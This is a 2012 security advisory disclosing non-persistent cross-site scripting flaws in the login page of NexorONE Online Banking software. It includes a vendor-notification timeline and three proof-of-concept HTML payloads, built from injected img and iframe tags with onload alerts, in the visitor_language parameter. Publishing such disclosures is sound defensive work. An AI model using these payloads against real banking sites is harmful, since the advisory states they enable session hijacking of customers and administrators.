NexorONE Online Banking Cross Site Scripting

`Title:  
======  
NexorONE Online Banking - Multiple Cross Site Vulnerabilities  
  
  
Date:  
=====  
2012-02-04  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=304  
  
  
VL-ID:  
=====  
304  
  
  
Introduction:  
=============  
NexorONE is the leading online banking software provider for Private International banks, Offshore Financian Institutions,  
Savings and Loans, Credit unions, Investmenet Fund Managers and Payement Processing Companies.  
  
NexorONE has already been demployed to more than 200 financial entities worldwide, spread out throught 20 countries and in  
12 different languages. with this market experience we know we can fulfill your business demands.  
  
(Copy of the Vendor Homepage: https://www.nexorone.com/ )  
  
  
Abstract:  
=========  
Vulnerability-Lab Team (Chokri B.A.) discovered multiple non-persistent Cross Site Scripting vulnerabilities on the NexorONE Online Banking Software.  
  
  
Report-Timeline:  
================  
2011-10-05: Vendor Notification 1  
2011-11-13: Vendor Notification 2  
2011-12-17: Vendor Notification 3  
2012-02-04: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
A non-persistent cross site scripting vulnerability is detected on the NexorONE Online Banking Software.   
Successful exploitation of the vulnerability allows an attacker to hijack user/mod/admin sessions of the portal.  
  
Vulnerable file(s):  
[+] login.php  
  
Vulnerable Param(s):  
[+] ?visitor_language=  
[+] ?message=  
  
Picture(s):  
../1.png  
../2.png  
../3.png  
  
  
Proof of Concept:  
=================  
The vulnerabilities can be exploited by remote attackers with required user inter action. For demonstration or reproduce ...  
  
PoC 1:  
<div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\  
"><img src=http://www.vulnerability-lab.com/gfx/partners/vlab.png>" tabindex="4">_REGISTER</a> <=[x]  
</div></form>  
  
  
PoC 2:  
<div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\\\  
"><iframe src=http://www.vulnerability-lab.com onload=alert(vulnerabilitylab) height=800px width=900px> <=[x]  
" tabindex="4">_REGISTER</a></div></form>  
  
PoC 3:  
<div id="login">  
<table cellspacing="0" class="message"><tr><td><center>Registration_successful>  
<iframe src=http://www.vulnerability-lab.com onload=\"alert(vulnerabilitylab);\" height=\"800px\" width=\"900px\"> <=[x]  
</center></td></tr></table>  
  
  
Risk:  
=====  
The security risk of the non-reflective cross site scripting vulnerabilities are estimated as medium.  
  
  
Credits:  
========  
Vulnerability Research Laboratory - Chokri B.A. (Me!ster the White)  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012|Vulnerability-Lab  
  
  
  
  
--   
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com  
Contact: [email protected] or [email protected]  
  
`